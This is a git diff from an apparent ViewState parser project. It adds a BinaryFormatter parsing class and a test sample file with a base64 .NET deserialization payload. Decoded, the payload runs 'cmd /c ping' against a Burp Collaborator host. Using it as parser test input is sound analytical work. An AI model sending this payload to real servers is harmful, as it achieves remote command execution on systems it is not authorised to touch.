diff --git a/tests/samples/ysoserial.sample b/tests/samples/ysoserial.sample
new file mode 100644
index 0000000..9e38b44
--- /dev/null
+++ b/tests/samples/ysoserial.sample
@@ -0,0 +1 @@
+/wEyxAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADmBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIHB3cGRsb2M5YXRzNDJobzk2N3hhMG9nYmQyanM3aC5idXJwY29sbGFib3JhdG9yLm5ldCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L+sRLt8icO/sVOPISqIdKQ5mjFwM=
diff --git a/viewstate/parse.py b/viewstate/parse.py
index b2a85f0..965a769 100644
--- a/viewstate/parse.py
+++ b/viewstate/parse.py
@@ -266,3 +266,13 @@ def parse(b):
             val, remain = Parser.parse(remain)
             l.append(val)
         return l, remain
+
+
+class BinaryFormatted(Parser):
+    marker = 0x32
+
+    @staticmethod
+    def parse(b):
+        n, remain = Integer.parse(b)
+        val = remain[:n]
+        return "Binary: {}".format(val), remain[n:]